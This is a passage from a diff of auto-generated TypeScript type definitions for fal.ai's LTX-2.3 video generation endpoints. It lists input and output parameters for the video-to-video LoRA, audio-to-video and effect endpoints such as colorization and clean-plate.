undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BVideoToVideoLoraAccelerationEnumKey + /** + * @description The URL of the video to generate the video from. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BVideoToVideoLoraSchedulerEnumKey + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example style: cinematic/realistic. A man wearing a baseball cap walks through a modern town. He holds a coffee cup. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description When enabled, the number of frames will be calculated based on the video duration and FPS. When disabled, use the specified num_frames. + * @default true + * @type boolean | undefined + */ + match_video_length?: boolean + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BVideoToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BVideoToVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: + | ImageSizeAa81Badf + | InputFalAiLtx2322BVideoToVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BVideoToVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BVideoToVideoLoraVideoQualityEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFileAa441134 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BVideoToVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a922b2c/GHF1uJnBb0iuYWQDuZrzG_WAtgthsP.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFileAa441134 + /** + * @description The prompt used for the generation. + * @example black-and-white video, a cowboy walks through a dusty town, film grain + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 1490631192028410600 + * @type integer + */ + seed: number +} + +export type ImageSize4E2Bcc2B = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityAudioToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityAudioToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityAudioToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityAudioToVideoVideoQualityEnum] + +export const inputFalAiLtx23QualityAudioToVideoResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityAudioToVideoResolutionKey = + (typeof inputFalAiLtx23QualityAudioToVideoResolution)[keyof typeof inputFalAiLtx23QualityAudioToVideoResolution] + +export const inputFalAiLtx23QualityAudioToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityAudioToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityAudioToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityAudioToVideoVideoWriteModeEnum] + +/** + * @description Audio-to-video generation driven by an uploaded audio track. + * @type object + */ +export type InputFalAiLtx23QualityAudioToVideo = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URL of the audio track that drives generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The prompt to guide the audio-driven video generation. + * @example A person facing the camera sings with expressive natural motion, cinematic portrait lighting, realistic facial performance. + * @type string + */ + prompt: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength for the optional first frame. 1.0 keeps the image more strictly; lower values give the model more freedom. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + image_strength?: number + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityAudioToVideoVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Final output size. 'auto' matches the input image aspect ratio when image_url is provided; otherwise it uses a landscape fallback. + * @default auto + */ + resolution?: + | ImageSize4E2Bcc2B + | InputFalAiLtx23QualityAudioToVideoResolutionKey + /** + * @description When enabled, derives the number of frames from the audio duration and frames_per_second. When disabled, uses num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityAudioToVideoVideoWriteModeEnumKey + /** + * @description Optional URL of an image to use as the first frame. When omitted, generation runs from text and audio only. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null +} + +export type FileF227D253 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityAudioToVideo = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileF227D253 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const loRAInput8F9E2511TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInput8F9E2511TransformerEnumKey = + (typeof loRAInput8F9E2511TransformerEnum)[keyof typeof loRAInput8F9E2511TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInput8F9E2511 = { + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInput8F9E2511TransformerEnumKey +} + +export type ImageSize08F505C5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx23QualityAudioToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityAudioToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityAudioToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityAudioToVideoLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityAudioToVideoLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityAudioToVideoLoraResolutionKey = + (typeof inputFalAiLtx23QualityAudioToVideoLoraResolution)[keyof typeof inputFalAiLtx23QualityAudioToVideoLoraResolution] + +export const inputFalAiLtx23QualityAudioToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityAudioToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityAudioToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityAudioToVideoLoraVideoWriteModeEnum] + +/** + * @description Audio-to-video + user-supplied LoRAs. + * @type object + */ +export type InputFalAiLtx23QualityAudioToVideoLora = { + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URL of the audio track that drives generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-audio.mp3 + * @type string + */ + audio_url: string + /** + * @description The prompt to guide the audio-driven video generation. + * @example A person facing the camera sings with expressive natural motion, cinematic portrait lighting, realistic facial performance. + * @type string + */ + prompt: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength for the optional first frame. 1.0 keeps the image more strictly; lower values give the model more freedom. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + image_strength?: number + /** + * @description Up to 3 LoRAs to apply on top of LTX-2.3. Each path is downloaded through the registry SSRF-safe downloader before it is loaded. Max size: 3 GB per LoRA. + * @type array + */ + loras: LoRAInput8F9E2511[] + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityAudioToVideoLoraVideoQualityEnumKey + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Final output size. 'auto' matches the input image aspect ratio when image_url is provided; otherwise it uses a landscape fallback. + * @default auto + */ + resolution?: + | ImageSize08F505C5 + | InputFalAiLtx23QualityAudioToVideoLoraResolutionKey + /** + * @description When enabled, derives the number of frames from the audio duration and frames_per_second. When disabled, uses num_frames. + * @default true + * @type boolean | undefined + */ + match_audio_length?: boolean + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityAudioToVideoLoraVideoWriteModeEnumKey + /** + * @description Optional URL of an image to use as the first frame. When omitted, generation runs from text and audio only. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltx-2-a2v-input-image.png + */ + image_url?: string | null +} + +export type File3D07B1Ce = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityAudioToVideoLora = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File3D07B1Ce + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityCleanPlateVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityCleanPlateVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityCleanPlateVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityCleanPlateVideoWriteModeEnum] + +export const inputFalAiLtx23QualityCleanPlateVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityCleanPlateVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityCleanPlateVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityCleanPlateVideoQualityEnum] + +export const inputFalAiLtx23QualityCleanPlateResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityCleanPlateResolutionEnumKey = + (typeof inputFalAiLtx23QualityCleanPlateResolutionEnum)[keyof typeof inputFalAiLtx23QualityCleanPlateResolutionEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityCleanPlate = { + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityCleanPlateVideoWriteModeEnumKey + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityCleanPlateVideoQualityEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityCleanPlateResolutionEnumKey +} + +export type File0F969C47 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityCleanPlate = { + /** + * @description The generated video. + * @type object + */ + video: File0F969C47 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiLtx23QualityColorizationResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityColorizationResolutionEnumKey = + (typeof inputFalAiLtx23QualityColorizationResolutionEnum)[keyof typeof inputFalAiLtx23QualityColorizationResolutionEnum] + +export const inputFalAiLtx23QualityColorizationVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityColorizationVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityColorizationVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityColorizationVideoQualityEnum] + +export const inputFalAiLtx23QualityColorizationVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityColorizationVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityColorizationVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityColorizationVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityColorization = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityColorizationResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityColorizationVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityColorizationVideoWriteModeEnumKey +} + +export type File1Ea0C9B0 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityColorization = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File1Ea0C9B0 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityCrossEyedResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityCrossEyedResolutionEnumKey = + (typeof inputFalAiLtx23QualityCrossEyedResolutionEnum)[keyof typeof inputFalAiLtx23QualityCrossEyedResolutionEnum] + +export const inputFalAiLtx23QualityCrossEyedVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityCrossEyedVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityCrossEyedVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityCrossEyedVideoQualityEnum] + +export const inputFalAiLtx23QualityCrossEyedVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityCrossEyedVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityCrossEyedVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityCrossEyedVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityCrossEyed = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * 